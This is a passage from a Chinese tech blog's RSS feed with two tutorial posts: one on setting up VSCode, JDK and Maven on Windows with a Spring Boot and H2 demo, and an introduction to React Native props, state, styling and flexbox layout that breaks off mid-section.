  &lt;li&gt;https://docs.oracle.com/javase/8/docs/api/java/util/Formatter.html&lt;/li&gt;
  &lt;li&gt;https://dzone.com/articles/java-string-format-examples&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 29 Apr 2020 11:48:26 +0000</pubDate>
        <link>http://abloz.com/tech/2020/04/29/java-string-format/</link>
        <guid isPermaLink="true">http://abloz.com/tech/2020/04/29/java-string-format/</guid>
        
        <category>java</category>
        
        <category>format</category>
        
        
        <category>tech</category>
        
      </item>
    
      <item>
        <title>windows vscode java环境配置</title>
        <description>&lt;h1 id=&quot;概述&quot;&gt;概述&lt;/h1&gt;
&lt;p&gt;最近需要用到windows开发环境，所以记录一下windows下用vscode进行java开发的环境配置。&lt;/p&gt;

&lt;h1 id=&quot;环境&quot;&gt;环境&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;Windows 10&lt;/li&gt;
  &lt;li&gt;vscode&lt;/li&gt;
  &lt;li&gt;jdk8&lt;/li&gt;
  &lt;li&gt;jdk14&lt;/li&gt;
  &lt;li&gt;maven 3.6.3&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;下载jdk&quot;&gt;下载jdk&lt;/h1&gt;
&lt;p&gt;oracle 在jdk 11以后，商业化生产环境使用需要license。所以采用openjdk。最新的是14.&lt;/p&gt;

&lt;p&gt;但jdk8以后，版本号升级太快，大的更新较少。所以可以用长期支持版本jdk8或10.&lt;/p&gt;

&lt;h2 id=&quot;下载地址&quot;&gt;下载地址&lt;/h2&gt;
&lt;p&gt;http://jdk.java.net/14/&lt;/p&gt;

&lt;p&gt;下载后解压到指定地方，我是放在home下的java目录。&lt;/p&gt;

&lt;p&gt;在桌面“此电脑”点右键，点开属性，找到环境变量。
在系统环境变量添加&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;JAVA_HOME
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\ablo_\java\jdk-13.0.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;CLASSPATH
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;Path
添加
```
%JAVA_HOME%\bin
%JAVA_HOME%\jre\bin&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
## 下载maven
http://maven.apache.org/download.cgi

最新版3.6.3

### 环境变量
- Path
添加
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;C:\Users\ablo_\java\apache-maven-3.6.3\bin&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;### 配置maven镜像
由于境外很慢，所以配置阿里云maven镜像

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;C:\Users\ablo_.m2&amp;gt; notepad settings.xml&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;添加：
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&amp;lt;?xml version=”1.0” encoding=”UTF-8”?&amp;gt;&lt;/p&gt;
&lt;settings xmlns=&quot;http://maven.apache.org/SETTINGS/1.0.0&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:schemaLocation=&quot;http://maven.apache.org/SETTINGS/1.0.0 http://maven.apache.org/xsd/settings-1.0.0.xsd&quot;&gt;
   &lt;mirrors&gt;
  
    &lt;mirror&gt;  
      &lt;id&gt;alimaven&lt;/id&gt;  
      &lt;name&gt;aliyun maven&lt;/name&gt;  
      &lt;url&gt;https://maven.aliyun.com/repository/public&lt;/url&gt;  
      &lt;mirrorOf&gt;central&lt;/mirrorOf&gt;  
    &lt;/mirror&gt;  
  &lt;/mirrors&gt;
&lt;/settings&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;在C:/Users/ablo_/java/apache-maven-3.6.3/conf/settings.xml 里面同样添加mirror里的内容。

# 下载配置vscode
- 官网：https://code.visualstudio.com/
- 下载地址：https://code.visualstudio.com/download

Windows下最好下载专门为java开发者配置的版本：
https://aka.ms/vscode-java-installer-win
其他操作系统则需手动设置jdk等配置。

打开扩展视图(Ctrl+Shift+X),
在扩展插件里搜java，
下载微软官方java extension pack及pivotal的Spring Boot  extension pack

单独的话需要 Language Support for Java(TM) by Red Hat及Spring Initializr Java Support，Maven for Java
等相关插件。

其中，java extension pack 包含：
1. Language Support for Java(TM) by Red Hat
1. Debugger for Java
1. Java Test Runner
1. Maven for Java
1. Java Dependency Viewer
1. Visual Studio IntelliCode

Spring Boot Extension Pack 包含Spring Initializr Java Support，Spring Boot Tools，Spring Boot Dashboard，Cloud Foundry Manifest YML Support，Concourse CI Pipeline Editor等组件。


根据需要，再下载其他相关插件即可：
1. Spring Boot Tools
1. Spring Initializr Java Support
1. Spring Boot Dashboard
1. Tomcat
1. Jetty
1. CheckStyle
2. Lombok Annotations Support for VS Code


安装完插件可能需要重启vscode。

## 配置maven
打开 `File-&amp;gt;Preferences-&amp;gt;Settings`，搜索 maven，点击editing in settings.json

在打开的文件中填入
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;“maven.executable.path”: “C:/Users/ablo_/java/apache-maven-3.6.3/bin/mvn.cmd”,
    “java.configuration.maven.userSettings”: “C:/Users/ablo_/java/apache-maven-3.6.3/conf/settings.xml”,&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;java.home&quot;: &quot;C:\\Users\\ablo_\\java\\jdk-13.0.1&quot;,

&quot;maven.terminal.customEnv&quot;: [
    {
        &quot;environmentVariable&quot;: &quot;JAVA_HOME&quot;,       
        &quot;value&quot;: &quot;C:\\Users\\ablo_\\java\\jdk-13.0.1&quot;       
    }
], ``` 不使用vs自带的maven更可控一些。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;测试java项目&quot;&gt;测试java项目&lt;/h1&gt;
&lt;p&gt;按ctrl+shift+p,键入maven
点击Maven:create maven project.
根据提示完成，即生成一个maven项目。&lt;/p&gt;

&lt;p&gt;如要生成gradle项目，则需配置相应gradle环境。&lt;/p&gt;

&lt;p&gt;打开目录后，已经生成缺省的项目。&lt;/p&gt;

&lt;h2 id=&quot;添加调试configuration&quot;&gt;添加调试configuration&lt;/h2&gt;
&lt;p&gt;按ctrl+shift+d，进入调试界面。
左上方点击add configuration，打开launch.json。
这个文档一般会自动生成。也可手动修改。&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
    // Use IntelliSense to learn about possible attributes.
    // Hover to view descriptions of existing attributes.
    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    &quot;version&quot;: &quot;0.2.0&quot;,
    &quot;configurations&quot;: [
        {
            &quot;type&quot;: &quot;java&quot;,
            &quot;name&quot;: &quot;Debug (Launch) - External Console&quot;,
            &quot;request&quot;: &quot;launch&quot;,
           &quot;cwd&quot;:&quot;${workspaceRoot}&quot;,
            &quot;mainClass&quot;: &quot;${file}&quot;,
            &quot;console&quot;: &quot;externalTerminal&quot;
            &quot;jdkPath&quot;: &quot;${env:JAVA_HOME}/bin&quot;,
            
        },
        {
            &quot;type&quot;: &quot;java&quot;,
            &quot;name&quot;: &quot;Debug (Launch)-Main&quot;,
            &quot;request&quot;: &quot;launch&quot;,
            &quot;mainClass&quot;: &quot;&quot;,
            &quot;args&quot;:&quot;&quot;,
            &quot;console&quot;:&quot;integratedTerminal&quot;,
            &quot;projectName&quot;: &quot;&quot;
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;至此，环境配置完成。&lt;/p&gt;

&lt;h1 id=&quot;测试spring-boot&quot;&gt;测试spring boot&lt;/h1&gt;
&lt;p&gt;确认安装spring boot extension pack 和lombok automations support for vs code&lt;/p&gt;

&lt;p&gt;ctrl+shift+p
输入spring，选择initializr: Create a Maven Project.
根据提示选择组件。
我选择了spring boot web, jpa, lombok, h2, mybatis等组件。&lt;/p&gt;

&lt;p&gt;创建完成。&lt;/p&gt;

&lt;h2 id=&quot;pomxml&quot;&gt;pom.xml&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;
	xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd&quot;&amp;gt;
	&amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt;
	&amp;lt;parent&amp;gt;
		&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
		&amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt;
		&amp;lt;version&amp;gt;2.2.1.RELEASE&amp;lt;/version&amp;gt;
		&amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt;
	&amp;lt;/parent&amp;gt;
	&amp;lt;groupId&amp;gt;com.abloz&amp;lt;/groupId&amp;gt;
	&amp;lt;artifactId&amp;gt;demo1&amp;lt;/artifactId&amp;gt;
	&amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt;
	&amp;lt;name&amp;gt;demo&amp;lt;/name&amp;gt;
	&amp;lt;description&amp;gt;Demo project for Spring Boot&amp;lt;/description&amp;gt;

	&amp;lt;properties&amp;gt;
		&amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt;
	&amp;lt;/properties&amp;gt;

	&amp;lt;dependencies&amp;gt;

		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt;
		&amp;lt;/dependency&amp;gt;
		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt;
			&amp;lt;version&amp;gt;2.1.1&amp;lt;/version&amp;gt;
		&amp;lt;/dependency&amp;gt;

		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;spring-boot-devtools&amp;lt;/artifactId&amp;gt;
			&amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt;
			&amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt;
		&amp;lt;/dependency&amp;gt;
		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt;
			&amp;lt;version&amp;gt;1.18.10&amp;lt;/version&amp;gt;
			&amp;lt;scope&amp;gt;provided&amp;lt;/scope&amp;gt;
		&amp;lt;/dependency&amp;gt;
		&amp;lt;!-- 添加 Spring Data JPA 依赖 --&amp;gt;  
		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;spring-boot-starter-data-jpa&amp;lt;/artifactId&amp;gt;
		&amp;lt;/dependency&amp;gt; 

		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;com.h2database&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;h2&amp;lt;/artifactId&amp;gt;
			&amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt;
		&amp;lt;/dependency&amp;gt;
		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt;
			&amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt;
		&amp;lt;/dependency&amp;gt;
		&amp;lt;dependency&amp;gt;
			&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
			&amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt;
			&amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt;
			&amp;lt;exclusions&amp;gt;
				&amp;lt;exclusion&amp;gt;
					&amp;lt;groupId&amp;gt;org.junit.vintage&amp;lt;/groupId&amp;gt;
					&amp;lt;artifactId&amp;gt;junit-vintage-engine&amp;lt;/artifactId&amp;gt;
				&amp;lt;/exclusion&amp;gt;
			&amp;lt;/exclusions&amp;gt;
		&amp;lt;/dependency&amp;gt;
	
 &amp;lt;/dependencies&amp;gt;

	&amp;lt;build&amp;gt;
		&amp;lt;plugins&amp;gt;
			&amp;lt;plugin&amp;gt;
				&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
				&amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt;
			&amp;lt;/plugin&amp;gt;
		&amp;lt;/plugins&amp;gt;
	&amp;lt;/build&amp;gt;

&amp;lt;/project&amp;gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;applicationyml&quot;&gt;application.yml&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
server:
  port: 8080
spring:
  datasource:
    url: jdbc:h2:~/test
    driver-class-name: org.h2.Driver
    username: sa
    password: 123456

  jpa:
    database: h2
    hibernate:
      ddl-auto: update
    show-sql: true
  h2:
    console:
      path: /h2-console
      enabled: true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;demoapplicationjava&quot;&gt;DemoApplication.java&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;package com.abloz.demo1;

import org.springframework.beans.factory.InitializingBean;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;

@SpringBootApplication
public class DemoApplication {

    @Bean
    InitializingBean initUser(UserRepo repo){
        return ()-&amp;gt;{
            repo.save(new User((long)1,&quot;张三&quot;,20,1));
            repo.save(new User(2L,&quot;李四&quot;,22,1));
            repo.save(new User(0L, &quot;西施&quot;,18,0));
            repo.save(new User(0L, &quot;貂蝉&quot;,15,0));
            
        };
    }
	public static void main(String[] args) {
		SpringApplication.run(DemoApplication.class, args);
	}

}

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;hellocontrollerjava&quot;&gt;HelloController.java&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;package com.abloz.demo1;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.util.List;

@Controller
public class HelloController {

    @Autowired
    private UserRepo userRepo;

    @ResponseBody
    @RequestMapping(&quot;/hello&quot;)
    public List&amp;lt;User&amp;gt; hello(){
        return userRepo.findAll();
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;userjava&quot;&gt;User.java&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;package com.abloz.demo1;

import javax.persistence.*;

import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
@Entity
@Data
@AllArgsConstructor
@NoArgsConstructor
public class User {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    private String name;
    private Integer age;
    private Integer sex;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;userrepojava&quot;&gt;UserRepo.java&lt;/h2&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;package com.abloz.demo1;

import org.springframework.data.jpa.repository.JpaRepository;
import org.springframework.stereotype.Repository;

@Repository
public interface UserRepo extends JpaRepository&amp;lt;User, Long&amp;gt; {
    

}


&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;执行&quot;&gt;执行&lt;/h1&gt;
&lt;p&gt;访问 http://localhost:8080/h2-console，数据库输入 jdbc:h2:~/test，用户sa，密码123456
登入，可以看到User表和相关数据。&lt;/p&gt;

&lt;p&gt;访问 http://localhost:8080/hello
可以看到User的Json数据。&lt;/p&gt;

&lt;h2 id=&quot;error&quot;&gt;error&lt;/h2&gt;
&lt;h2 id=&quot;cannot-find-debug-adapter-for-type-java&quot;&gt;Cannot find debug adapter for type ‘java’&lt;/h2&gt;
&lt;p&gt;将home下的.vscode里面清空，重新安装插件&lt;/p&gt;
&lt;h2 id=&quot;extension-host-terminated-unexpectedly&quot;&gt;Extension host terminated unexpectedly.&lt;/h2&gt;

&lt;h1 id=&quot;参考&quot;&gt;参考&lt;/h1&gt;
&lt;p&gt;https://code.visualstudio.com/docs/languages/java&lt;/p&gt;
</description>
        <pubDate>Sat, 04 Apr 2020 05:48:26 +0000</pubDate>
        <link>http://abloz.com/tech/2020/04/04/windows-vscode-config/</link>
        <guid isPermaLink="true">http://abloz.com/tech/2020/04/04/windows-vscode-config/</guid>
        
        <category>win10</category>
        
        <category>java</category>
        
        <category>vscode</category>
        
        
        <category>tech</category>
        
      </item>
    
      <item>
        <title>react native入门</title>
        <description>&lt;h1 id=&quot;react-native-概况&quot;&gt;react native 概况&lt;/h1&gt;
&lt;p&gt;React native 是facebook开源的移动框架。用JavaScript语言为主，基于React框架。 是适合跨平台移动开发的框架，具有比用webview混合开发更好的性能，又具有h5那样编写一次，跨平台运行的较低维护成本。而且可以和原生很好的结合。&lt;/p&gt;

&lt;p&gt;重要特性如下：&lt;/p&gt;
&lt;h2 id=&quot;支持-es2015--es6&quot;&gt;支持 ES2015 ( ES6)&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://babeljs.io/learn-es2015/&quot;&gt;ES2015 features&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如
import, from，class，extends，箭头函数&lt;/p&gt;

&lt;h2 id=&quot;jsx&quot;&gt;JSX&lt;/h2&gt;
&lt;p&gt;一般将代码嵌在xml里，但JSX反其道而行之。是将xml嵌在js里。&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &amp;lt;View&amp;gt;&amp;lt;Text&amp;gt;Hello world!&amp;lt;/Text&amp;gt;&amp;lt;/View&amp;gt;
 
 &amp;lt;View&amp;gt;类似 &amp;lt;div&amp;gt; 或 &amp;lt;span&amp;gt; 

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;Text&gt;是显示字符的[核心组件](https://reactnative.dev/docs/intro-react-native-components)
 
## 组件 （Components）
 屏幕上见到的都是组件。App是组件。组件非常基础，只需要一个render函数，返回jsx渲染。
 
 下面对相关细节进行详细介绍。
 
# 属性 Props
所有组件可以被不同参数初始化，这些参数叫props，即Properties的简写。
 
如创建组件Image，可以使用source属性来决定显示的内容。
 
 
```
 
import React, { Component } from &apos;react&apos;;
import { Image } from &apos;react-native&apos;;

export default class Bananas extends Component {
  render() {
    let pic = {
      uri: &apos;https://upload.wikimedia.org/wikipedia/commons/d/de/Bananavarieties.jpg&apos;
    };
    return (
      &amp;lt;Image source={pic} style=/&amp;gt;
    );
  }
}
```

pic外面的大括号{pic}，用于在JSX中使用变量pic。style 为什么要用双大括号？因为第一层大括号表示是js的变量，第二层大括号，就是style必须传入对象，所以用大括号括起来。
 
 下面是自定义变量
 
 ```
import React, { Component } from &apos;react&apos;;
import { Text, View } from &apos;react-native&apos;;

class Greeting extends Component {
  render() {
    return (
      &amp;lt;View style=&amp;gt;
        &lt;Text&gt;Hello {this.props.name}!&lt;/Text&gt;
      &amp;lt;/View&amp;gt;
    );
  }
}

export default class LotsOfGreetings extends Component {
  render() {
    return (
      &amp;lt;View style=&amp;gt;
        &lt;Greeting name=&quot;Rexxar&quot; /&gt;
        &lt;Greeting name=&quot;Jaina&quot; /&gt;
        &lt;Greeting name=&quot;Valeera&quot; /&gt;
      &amp;lt;/View&amp;gt;
    );
  }
}

```
View 像一个容器一样，将其他组件嵌在里面。

# State 状态
组件有两种数据，一种props，一种state。
props是静态的数据，在组件整个生命周期不变。而state则是可变的。
一般初始化组件时初始化state，再用setState来修改。

```
import React, { Component } from &apos;react&apos;;
import { Text, View } from &apos;react-native&apos;;

class Blink extends Component {

  componentDidMount(){
    // Toggle the state every second
    setInterval(() =&amp;gt; (
      this.setState(previousState =&amp;gt; (
        { isShowingText: !previousState.isShowingText }
      ))
    ), 1000);
  }

  //state object
  state = { isShowingText: true };

  render() {
    if (!this.state.isShowingText) {
      return null;
    }

    return (
      &lt;Text&gt;{this.props.text}&lt;/Text&gt;
    );
  }
}

export default class BlinkApp extends Component {
  render() {
    return (
      &lt;View&gt;
        &lt;Blink text=&quot;I love to blink&quot; /&gt;
        &lt;Blink text=&quot;Yes blinking is so great&quot; /&gt;
        &lt;Blink text=&quot;Why did they ever take this out of HTML&quot; /&gt;
        &lt;Blink text=&quot;Look at me look at me look at me&quot; /&gt;
      &lt;/View&gt;
    );
  }
}
```

可以在从服务器获得数据时或者用户输入时设置状态。也可以用状态容器如：

1. [Redux](https://redux.js.org/)
2. [Mobx](https://cn.mobx.js.org/) 

来控制数据流。采用 Redux 或 Mobx修改状态而不是直接 setState.

setState 被调用时，组件会被重新渲染。

# 样式 style
所有组件都有缺省属性style。名称和值意义和css一样。但都用驼峰写法。如backgroundColor ，而非background-color。
style属性通常是普通js对象。也可以传一个style数组，最后一个同样名称的值覆盖前面的。

```
import React, { Component } from &apos;react&apos;;
import { StyleSheet, Text, View } from &apos;react-native&apos;;

const styles = StyleSheet.create({
  bigBlue: {
    color: &apos;blue&apos;,
    fontWeight: &apos;bold&apos;,
    fontSize: 30,
  },
  red: {
    color: &apos;red&apos;,
  },
});

export default class LotsOfStyles extends Component {
  render() {
    return (
      &lt;View&gt;
        &amp;lt;Text style={styles.red}&amp;gt;just red&amp;lt;/Text&amp;gt;
        &amp;lt;Text style={styles.bigBlue}&amp;gt;just bigBlue&amp;lt;/Text&amp;gt;
        &amp;lt;Text style={[styles.bigBlue, styles.red]}&amp;gt;bigBlue, then red&amp;lt;/Text&amp;gt;
        &amp;lt;Text style={[styles.red, styles.bigBlue]}&amp;gt;red, then bigBlue&amp;lt;/Text&amp;gt;
      &lt;/View&gt;
    );
  }
}
```
[Text component reference ](https://reactnative.dev/docs/text)

## 自适应 Flex Dimensions
flex样式是自动适应的。flex: 1 适应全部空间。

```
import React, { Component } from &apos;react&apos;;
import { View } from &apos;react-native&apos;;

export default class FlexDimensionsBasics extends Component {
  render() {
    return (
      // Try removing the `flex: 1` on the parent View.
      // The parent will not have dimensions, so the children can&apos;t expand.
      // What if you add `height: 300` instead of `flex: 1`?
      &amp;lt;View style=&amp;gt;
        &amp;lt;View style= /&amp;gt;
        &amp;lt;View style= /&amp;gt;
        &amp;lt;View style= /&amp;gt;
      &amp;lt;/View&amp;gt;
    );
  }
}

```

# 布局
1. https://reactnative.dev/docs/flexbox
1. https://yogalayout.com/playground
1. https://reactnative.dev/docs/layout-props
1. [Wix Engineers](https://medium.com/wix-engineering/the-full-react-native-layout-cheat-sheet-a4147802405c)

flexDirection 方向主轴main axis 有如下类型

1. row
1. column (default value) 
1. row-reverse
1. column-reverse

```&amp;lt;View style=&amp;gt;```
## 布局方向 Layout Direction
影响边缘开始和结束，有自左向右`LTR`和自右向左`RTL`两种模式

- LTR (缺省值) 文本和子节点排列自左向右。Margin(外边距) 和 padding (内边距) 计算元件起点以左边开始。 `start` 指向左  `end` 指向右。
- RTL 文本和子节点排列自右向左。Margin(外边距) 和 padding (内边距) 计算元件起点以右边开始。 `start` 指向右  `end` 指向左。
 
## 内容调整 justifyContent
在`容器`主轴上对子元素进行对齐。如可以将子元素横向居中排列，设置flexDirection为row即可。

有如下的值：

- flex-start(default value) Align children of a container to the start of the container&apos;s main axis.
- flex-end Align children of a container to the end of the container&apos;s main axis.
- center Align children of a container in the center of the container&apos;s main axis.
- space-between Evenly space of children across the container&apos;s main axis, distributing remaining space between the children.
- space-around Evenly space of children across the container&apos;s main axis, distributing remaining space around the children. Compared to space-between using space-around will result in space being distributed to the beginning of the first child and end of the last child.
- space-evenly Evenly distributed within the alignment container along the main axis. The spacing between each pair of adjacent items, the main-start edge and the first item, and the main-end edge and the last item, are all exactly the same.

示例：
```
import React, { Component } from &apos;react&apos;;
import { View } from &apos;react-native&apos;;

export default class JustifyContentBasics extends Component {
  render() {
    return (
      // Try setting `justifyContent` to `center`.
      // Try setting `flexDirection` to `row`.
      &amp;lt;View style=&amp;gt;
        &amp;lt;View style= /&amp;gt;
        &amp;lt;View style= /&amp;gt;
        &amp;lt;View style= /&amp;gt;
      &amp;lt;/View&amp;gt;
    );
  }
};
```

## 对齐 alignItems 
是以容器交叉轴来对齐的。

元素对齐和 justifyContent 很像，但以交叉轴来对齐。

有如下的值：
- stretch (default value) Stretch children of a container to match the height of the container&apos;s cross axis.
- flex-start Align children of a container to the start of the container&apos;s cross axis.
- flex-end Align children of a container to the end of the container&apos;s cross axis.
- center Align children of a container in the center of the container&apos;s cross axis.
- baseline Align children of a container along a common baseline. Individual children can be set to be the reference baseline for their parents.

示例：
```
import React, { Component } from &apos;react&apos;;
import { View } from &apos;react-native&apos;;

export default class AlignItemsBasics extends Component {
  render() {
    return (
      // Try setting `alignItems` to &apos;flex-start&apos;
      // Try setting `justifyContent` to `flex-end`.
      // Try setting `flexDirection` to `row`.
      &amp;lt;View style=&amp;gt;
        &amp;lt;View style= /&amp;gt;
        &amp;lt;View style= /&amp;gt;
        &amp;lt;View style= /&amp;gt;
      &amp;lt;/View&amp;gt;
    );
  }
};


```
## 自身对齐 alignSelf 

和 alignItems 有一样的选项。但不是影响子元素，而是调整自身和父元素的对齐。 alignSelf覆盖父元素用alignItems设置的任何选项。

## 内容对齐 alignContent
定义交叉轴线的分布。 仅对采用flexWrap进行多线封装的元素起作用。

- flex-start (default value) Align wrapped lines to the start of the container&apos;s cross axis.
- flex-end Align wrapped lines to the end of the container&apos;s cross axis.
- stretch wrapped lines to match the height of the container&apos;s cross axis.
- center Align wrapped lines in the center of the container&apos;s cross axis.
- space-between Evenly space wrapped lines across the container&apos;s main axis, distributing remaining space between the lines.
- space-around Evenly space wrapped lines across the container&apos;s main axis, distributing remaining space around the lines. Compared to space between using space around will result in space being distributed to the begining of the first lines and end of the last line.
![image](https://cdn-images-1.medium.com/max/800/1*cC2XFyCF_igp20Ombt4wBw.png)


# 自适应换行 flexWrap 
property is set on containers and controls what happens when children overflow the size of the container along the main axis. By default children are forced into a single line (which can shrink elements). If wrapping is allowed items are wrapped into multiple lines along the main axis if needed.

When wrapping lines alignContent can be used to specify how the lines are placed in the container. learn more here

![image](https://cdn-images-1.medium.com/max/800/1*_7v4uQhSsuCn1cfeOMVfrA.png)

## Flex Basis, Grow, and Shrink
flexGrow describes how any space within a container should be distributed among its children along the main axis. After laying out its children, a container will distribute any remaining space according to the flex grow values specified by its children.

flexGrow accepts any floating point value &amp;gt;= 0, with 0 being the default value. A container will distribute any remaining space among its children weighted by the child’s flex grow value.

